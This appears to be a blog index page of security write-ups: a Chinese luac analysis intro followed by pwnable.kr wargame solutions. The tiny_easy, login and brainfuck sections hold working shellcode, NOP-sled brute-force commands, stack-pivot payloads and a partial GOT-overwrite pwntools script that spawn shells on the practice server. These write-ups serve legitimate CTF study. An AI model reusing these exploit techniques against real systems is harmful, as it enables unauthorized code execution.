记一次luac分析

前言

某mips架构的路由器上的lua脚本a.lua,被编译成了luac二进制格式。初步分析发现指定lua使用固件中的共享库liblua.so.5.1.5可运行该luac文件,同架构的官方openwrt则不能运行该luac,所以判断出lialua.so.5.1.5被魔改了。

Read more

pwnable.kr ELF writeup

0x01 分析

首先ssh上去看看。

elf.py:

1
2
3
4
5
6
7
8
9
10
...
libc = CDLL('libc.so.6')
flag = CDLL('./libflag.so')

...
for i in xrange(25):
sys.stdout.write('addr?:')
sys.stdout.flush()
addr = int(raw_input(), 16)
libc.write(1, c_char_p(addr), 32)

有25次机会,每次可以读进程地址空间的32字节…

再看看gen.py。

Read more

pwnable.kr rootkit writeup

0x01 Analysis

rootkit is another challenge about kernel exploits after syscall.

After connected to host, I found that the kernel load rootkit module at boot.

1
[    3.337631] rootkit: module license 'unspecified' taints kernel.

Then, I use ida to disassembly the rootkit.ko.

The module disable write protection, and replace original syscall such as sys_open to sys_open_hooked by write syscall table(0xc15fa020).

The sys_open_hooked syscall will check whether the string of the filename has a flag substring.
If there not, then the original sys_open is called.
If there is, it returns a fd with a value of -1, then the file opening failed.

Of cource, other sys_call such as sys_symlink will failed also.

1
2
3
/tmp # ln -s ../flag ./
[ 5234.521789] You will not see the flag...
ln: ./flag: Operation not permitted
Read more

pwnable.kr tiny_easy writeup

0x01 Check security

1
2
3
4
5
6
7
$ checksec tiny_easy
[*] '/home/ubuntu/pwn/tiny_easy/tiny_easy'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

NX disasbled.

0x02 Disassemble

1
2
3
4
08048054 pop     eax
08048055 pop edx
08048056 mov edx, [edx]
08048058 call edx

…?
What a tiny ELF..

0x03 Debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
(gdb) b *0x08048056
Breakpoint 1 at 0x8048056
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/pwn/tiny_easy/tiny_easy

Breakpoint 2, 0x08048056 in ?? ()
(gdb) info r
eax 0x1 1
ecx 0x0 0
edx 0xffff8943 -30397
ebx 0x0 0
esp 0xffff8818 0xffff8818
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x8048056 0x8048056
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/7s $edx
0xffff8943: "/home/ubuntu/pwn/tiny_easy/tiny_easy"
0xffff8968: "SHELL=/bin/bash"
0xffff8978: "WSL_DISTRO_NAME=Ubuntu-20.04"
0xffff8995: "NAME=DESKTOP-TR6SWQE"
0xffff89aa: "PWD=/home/ubuntu/pwn/tiny_easy"
0xffff89c9: "LOGNAME=ubuntu"
0xffff89d8: "_=/usr/bin/gdb"
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x6d6f682f in ?? ()

Obviously, the “tiny_easy” move ‘/hom’ to $edx, and then call edx let the program jump to address 0x6d6f682f(/hom), then tiggered a segmentation fault.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ exec --help
exec: exec [-cl] [-a name] [command [arguments ...]] [redirection ...]
Replace the shell with the given command.

Execute COMMAND, replacing this shell with the specified program.
ARGUMENTS become the arguments to COMMAND. If COMMAND is not specified,
any redirections take effect in the current shell.

Options:
-a name pass NAME as the zeroth argument to COMMAND
-c execute COMMAND with an empty environment
-l place a dash in the zeroth argument to COMMAND

If the command cannot be executed, a non-interactive shell exits, unless
the shell option `execfail' is set.

Exit Status:
Returns success unless COMMAND is not found or a redirection error occurs.

The command exec with -a argument can help us pass the specified argv[0] to COMMAND, which mean that we can put shellcode into the environment variable, and then pass a guessed shellcode address to argv[0], then get the shell by brute force.

But the problem is, how to make a shellcode?

I guess we need pwntools…

1
2
3
4
5
6
7
$ python3
Python 3.8.10 (default, Jun 2 2021, 10:49:15)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> asm(shellcraft.i386.linux.sh())
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

And the shellcode address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
tiny_easy@pwnable:~$ export A=$(python -c 'print("jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80")')
tiny_easy@pwnable:~$ gdb ./tiny_easy
(gdb) b *0x8048058
Breakpoint 1 at 0x8048058
(gdb) r
Starting program: /home/tiny_easy/tiny_easy
Breakpoint 1, 0x08048058 in ?? ()
(gdb) info r
eax 0x1 1
ecx 0x0 0
edx 0x6d6f682f 1836017711
ebx 0x0 0
esp 0xffaaac18 0xffaaac18
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x8048058 0x8048058
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
(gdb) x/8xw 0xffaaac18
0xffaaac18: 0x00000000 0xffaabd9e 0xffaabdcd 0xffaabde3
0xffaaac28: 0xffaabdf3 0xffaabe07 0xffaabe2b 0xffaabe3f
(gdb) x/16s 0xffaabd9e
0xffaabd9e: "A=jhh///sh/bin\211\343h\001\001\001\001\201\064$ri\001\001\061\311Qj\004Y\001\341Q\211\341\061\322j\vX ̀"
0xffaabdcd: "XDG_SESSION_ID=118569"
0xffaabde3: "SHELL=/bin/bash"
0xffaabdf3: "TERM=xterm-256color"
0xffaabe07: "SSH_CLIENT=112.86.218.22 48280 2222"
0xffaabe2b: "SSH_TTY=/dev/pts/41"
0xffaabe3f: "USER=tiny_easy"
0xffaabe4e: "COLUMNS=120"
0xffaabe5a: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
0xffaabec2: "MAIL=/var/mail/tiny_easy"
0xffaabedb: "_=/usr/bin/gdb"
0xffaabeea: "PWD=/home/tiny_easy"
0xffaabefe: "LANG=en_US.UTF-8"
0xffaabf0f: "LINES=30"
0xffaabf18: "HOME=/home/tiny_easy"
0xffaabf2d: "SHLVL=1"

Ok, use 0xffaabda0 as argv[0].

0x04 EXP

Befor do brute force, we should fill the shellcode by nop(\x90), to improve the success rate of call edx.

1
export A=$(python -c 'print("\x90" * 30000 + "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80")'); for i in {1..1000}; do bash -c "exec -a $(python -c 'print("\xa0\xbd\xaa\xff")') ./tiny_easy"; done

pwnable.kr login writeup

0x01 Analyze

main():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h]
char s; // [esp+1Eh] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-4h]

memset(&s, 0, 0x1Eu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &s);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)&s, &v4);
if ( v6 > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) == 1 )
correct();
}
return 0;
}

In the mian() function, the variable s is a 30 bytes char[], the global variable input is 12 bytes, no vulnerability can be used in main().

auth():

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h]

memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

Stack of auth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
-00000028 ; D/A/*   : change type (data/ascii/array)
-00000028 ; N : rename
-00000028 ; U : undefine
-00000028 ; Use data definition commands to create local variables and function arguments.
-00000028 ; Two special fields " r" and " s" represent return address and saved registers.
-00000028 ; Frame size: 28; Saved regs: 4; Purge: 0
-00000028 ;
-00000028
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 var_14 db ?
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C s2 dd ? ; offset
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 arg_0 dd ?
+0000000C
+0000000C ; end of stack variables

Variable v4 is 8 bytes, so the memcpy(&v4, &input, a1) will overflow.
It can overwrite the saved registers of the stack of auth(), which is the EBP of main().

In assember, when a function return to the function caller, it will:

1
2
3
mov esp, ebp
pop ebp
pop eip

We can’t directly control the EIP, because the max size of input is 12, but we can construct a fake stack, then let the EBP of main() function to our fake stack. When the main() returns, it will jmp to the function we specify.

The correct() address is 0x0804925F, the input address is 0x0811EB40.

Fake stack:
(The correct() will check the first 4 bytes of input, so it should be 0xdedabeef.)

1
2
3
0x0811EB40 0xdeadbeef
0x0811EB44 0x0804925f
0x0811EB48 0x0811EB40

0x02 exp

1
2
3
4
5
6
~/blog$ python -c "from base64 import b64encode;print(b64encode(b'\xef\xbe\xad\xde\x5f\x92\x04\x08\x40\xeb\x11\x08'))"776t3l+SBAhA6xEI
~/blog$ nc pwnable.kr 9003
Authenticate : 776t3l+SBAhA6xEI
hash : b184befe70416e36625cae920af6f287
Congratulation! you are good!
cat flag

Or we can bypass the validation of function input(), directly let main() return to .text:08049284(the system("/bin/sh") location):
Fake stack:

1
2
3
0x0811EB40 0x00000000
0x0811EB44 0x08049284
0x0811EB48 0x0811EB40
1
2
.text:08049284                 mov     dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
1
2
3
4
5
6
~/blog$ python -c "from base64 import b64encode;print(b64encode(b'\x00\x00\x00\x00\x84\x92\x04\x08\x40\xeb\x11\x08'))"
AAAAAISSBAhA6xEI
~/blog$ nc pwnable.kr 9003
Authenticate : AAAAAISSBAhA6xEI
hash : a47a66d21a19021348d1f94b97cca7d7
cat flag

pwnable.kr brainfuck writeup

0x01 Overview

‘’’
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx

result = a1 - 43; // p = 0804A0A0
switch ( a1 )
{
case ‘+’:
result = p;
++*(_BYTE *)p; // (*p)++
break;
case ‘,’:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result; // *(char )p = getchar()
break;
case ‘-‘:
result = p;
(_BYTE *)p; // (p)–
break;
case ‘.’:
result = putchar(
(char *)p); // print char *p
break;
case ‘<’:
result = –p; // p=p-1
break;
case ‘>’:
result = ++p; // p=p+1
break;
case ‘[‘:
result = puts(“[ and ] not supported.”);
break;
default:
return result;
}
return result;
}
‘’’

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# b初始值
b = 0x804A0A0

# putchar got 读 获取libc泄漏地址
putchar_got = ?

# memset got 写入glibc gets的偏移地址
# gets(s)
memset_got = ?

# fgets got 写入glibc system的偏移地址
# system(s)
fgets_got = ?

# glibc put char addr ?
# glibc system addr ?
system_addr_to_putchar = ? - ?
gets_addr_to_putchar = ? - ?

# start address
start = 0x080484E0

# 0x01 创建连接
brainfuck = remote("pwnable.kr", 9001)
brainfuck.recvuntil(b']\n')

# 0x02 构造payload
# 第一个先发.的原因是延迟绑定
payload = b'.'+ \
b'<'*(b-putchar_got) + b'.>'*4 + \
b'<'*4 + b',>'*4 + b'<'*4 + \
b'<'*(putchar_got-memset_got) + b',>'*4 + b'<'*4 + \
b'<'*(memset_got-fgets_got) + b',>'*4 + b'<'*4 + b'.'

# 0x03 读libc leak
brainfuck.sendline(payload)

what = brainfuck.recv(1)
print("what?: ", what)

base = brainfuck.recv(4)
putchar_addr = int.from_bytes(base, "little")
print("putchar got: ", base, " ", hex(putchar_addr))

# 0x04 替换putchar为_start
brainfuck.send(start.to_bytes(4, 'little'))

# 0x05 替换memset为gets 替换fgets为system
gets_addr = putchar_addr + gets_addr_to_putchar
print("gets got: ", hex(gets_addr))
brainfuck.send(gets_addr.to_bytes(4, 'little'))

system_addr = putchar_addr + system_addr_to_putchar
print("system got: ", hex(system_addr))
brainfuck.send(system_addr.to_bytes(4, 'little'))

# 0x06 发送gets字符串
brainfuck.send(b'/bin/sh\x00')

# 0x07 获得shell
brainfuck.interactive()